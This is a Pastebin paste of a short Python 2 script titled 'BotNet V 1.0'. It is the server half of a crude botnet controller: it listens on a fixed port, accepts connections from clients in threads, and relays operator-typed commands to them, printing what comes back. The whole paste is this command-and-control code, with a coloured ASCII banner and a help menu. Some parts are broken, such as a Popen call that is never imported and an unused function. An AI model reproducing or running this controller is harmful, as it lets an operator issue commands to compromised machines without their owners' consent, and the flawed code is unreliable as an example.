Advertisement
Guest User

server.py

a guest
Dec 22nd, 2014
204
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.97 KB | None | 0 0
  1. #!/usr/bin/python
  2. from socket import *
  3. import thread
  4. from pyfiglet import Figlet
  5.  
  6. #color
  7. global red
  8. red = '\033[31m'
  9. global green
  10. green  = '\033[32m'
  11. global reset
  12. reset = '\033[0m'
  13. global yellow
  14. yellow = '\033[33m'
  15. global cyan
  16. cyan = '\033[36m'
  17. global magenta
  18. magenta = '\033[35m'
  19. global cls
  20. cls = '\33c'
  21. #end color
  22.  
  23. def sendCmd(clientsocket):
  24.     cmd = raw_input(cyan+">> "+reset)
  25.     clientsocket.send(cmd)
  26.  
  27.  
  28. def handler(clientsocket, clientaddr):
  29.     while 1:
  30.         data = clientsocket.recv(4096)
  31.         if data:           
  32.             data = data.rstrip()
  33.             print(repr(data))
  34.             cmd = raw_input(cyan+">> ")
  35.             clientsocket.send(cmd)
  36.             print(clientsocket.recv(4096))
  37.         else:
  38.             cmd = raw_input(cyan+">> ")
  39.             clientsocket.send(cmd)
  40.             print(clientsocket.recv(4096))
  41.  
  42. def cmdline(command):
  43.     process = Popen(
  44.         args=command,
  45.         stdout=PIPE,
  46.         shell=True
  47.     )
  48.     return process.communicate()[0]
  49.  
  50. def showCommands():
  51.     print('Commands :\n\t "!help" or "?" to get help\n\t "!listen" to listen for connections')
  52.  
  53.  
  54. def listen(port, serversocket):
  55.     while 1:
  56.         print(magenta+"Server is listening for connections on port {}\n".format(port)+reset)
  57.              
  58.         clientsocket, clientaddr = serversocket.accept()
  59.         thread.start_new_thread(handler, (clientsocket, clientaddr))
  60.  
  61.  
  62. if __name__ == "__main__":
  63.    
  64.     #Variable Declarations
  65.     host = '192.168.0.20'
  66.     port = 55568
  67.     buf = 1024
  68.      
  69.     addr = (host, port)
  70.      
  71.     serversocket = socket(AF_INET, SOCK_STREAM)
  72.     serversocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
  73.      
  74.     serversocket.bind(addr)
  75.      
  76.     serversocket.listen(2)
  77.  
  78.     #SAY HELLO
  79.     msg = Figlet(font='slant')
  80.     print(red+msg.renderText('BotNet V 1.0')+reset)
  81.     print(yellow+"Type \"!help\" or \"?\" to get help."+reset)
  82.    
  83.     #Starting the command prompt
  84.     while 1:
  85.         choice = raw_input(">> ")
  86.  
  87.         if(choice.lower() == "?" or choice.lower() == "!help"):
  88.             showCommands()
  89.        
  90.         elif(choice.lower() == "!listen"):
  91.             listen(port, serversocket)
  92.         else:
  93.             showCommands()
  94.  
  95.     serversocket.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement